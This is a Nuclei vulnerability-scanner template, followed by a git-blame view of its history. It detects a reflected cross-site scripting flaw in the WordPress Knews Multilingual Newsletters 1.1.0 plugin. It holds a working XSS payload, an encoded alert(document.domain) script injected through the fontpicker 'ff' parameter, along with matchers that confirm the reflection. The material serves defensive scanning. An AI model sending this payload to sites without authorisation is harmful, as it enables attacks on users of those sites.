nuclei-templates/http/vulnerabilities/wordpress/wp-knews-xss.yaml

id: wp-knews-xss

info:
  name: WordPress Knews Multilingual Newsletters 1.1.0 - Cross-Site Scripting
  author: daffainfo
  severity: high
  description: WordPress Knews Multilingual Newsletters 1.1.0 plugin contains a cross-site scripting vulnerability. An attacker can execute arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  reference:
    - http://web.archive.org/web/20210213220043/https://www.securityfocus.com/bid/54330/info
    - https://www.acunetix.com/vulnerabilities/web/wordpress-plugin-knews-multilingual-newsletters-ff-parameter-cross-site-scripting-1-1-0
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
    cvss-score: 7.2
    cwe-id: CWE-79
  metadata:
    max-request: 1
  tags: wordpress,xss,wp-plugin

http:
  - method: GET
    path:
      - '{{BaseURL}}/wp-content/plugins/knews/wysiwyg/fontpicker/?ff=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "</script><script>alert(document.domain)</script>"
        part: body

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200

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Create wp-knews-xss.yaml 2021-07-11 06:11:03 +00:00			`id: wp-knews-xss`

			`info:`
Dashboard Content Enhancements (#5455) Dashboard Content Enhancements 2022-09-23 17:53:08 +00:00			`name: WordPress Knews Multilingual Newsletters 1.1.0 - Cross-Site Scripting`
Create wp-knews-xss.yaml 2021-07-11 06:11:03 +00:00			`author: daffainfo`
Dashboard Content Enhancements (#5455) Dashboard Content Enhancements 2022-09-23 17:53:08 +00:00			`severity: high`
			`description: WordPress Knews Multilingual Newsletters 1.1.0 plugin contains a cross-site scripting vulnerability. An attacker can execute arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.`
refactor: Description field uniformization * info field reorder * reference values refactored to list * added new lines after the id and before the protocols * removed extra new lines * split really long descriptions to multiple lines (part 1) * other minor fixes 2022-04-22 10:38:41 +00:00			`reference:`
Remove Links for Dead sites (#4554) * Deleted buffalo-config-injection.yaml Add reference from buffalo-config-injection.yaml to CVE-2021-20091.yaml * Delete vulnerabilities/other/buffalo-config-injection.yaml * Remove/replace links to dead sites: * archives.neohapsis.com * osvdb.org * securityfocus.com 2022-06-07 20:50:59 +00:00			`- http://web.archive.org/web/20210213220043/https://www.securityfocus.com/bid/54330/info`
Dashboard Content Enhancements (#5455) Dashboard Content Enhancements 2022-09-23 17:53:08 +00:00			`- https://www.acunetix.com/vulnerabilities/web/wordpress-plugin-knews-multilingual-newsletters-ff-parameter-cross-site-scripting-1-1-0`
			`classification:`
			`cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N`
			`cvss-score: 7.2`
			`cwe-id: CWE-79`
Added max request counter of each template 2023-04-28 08:11:21 +00:00			`metadata:`
			`max-request: 1`
templateman update 2023-10-14 11:27:55 +00:00			`tags: wordpress,xss,wp-plugin`
Create wp-knews-xss.yaml 2021-07-11 06:11:03 +00:00
Refactoring the directory structure based on protocols (#7137) * moving http templates * updated cves.json * moved network CVEs * updated scripts * updated workflows * updated requests to http * replaced network to tcp --------- Co-authored-by: sandeep <8293321+ehsandeep@users.noreply.github.com> 2023-04-27 04:28:59 +00:00			`http:`
Create wp-knews-xss.yaml 2021-07-11 06:11:03 +00:00			`- method: GET`
			`path:`
Update wp-knews-xss.yaml 2021-07-19 06:10:45 +00:00			`- '{{BaseURL}}/wp-content/plugins/knews/wysiwyg/fontpicker/?ff=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'`
Create wp-knews-xss.yaml 2021-07-11 06:11:03 +00:00
			`matchers-condition: and`
			`matchers:`
			`- type: word`
			`words:`
Update wp-knews-xss.yaml 2021-07-19 06:10:45 +00:00			`- "</script><script>alert(document.domain)</script>"`
Create wp-knews-xss.yaml 2021-07-11 06:11:03 +00:00			`part: body`

			`- type: word`
			`part: header`
			`words:`
			`- text/html`

			`- type: status`
			`status:`
			`- 200`
TemplateMan Update [Fri Oct 20 11:41:12 UTC 2023] :robot: 2023-10-20 11:41:13 +00:00
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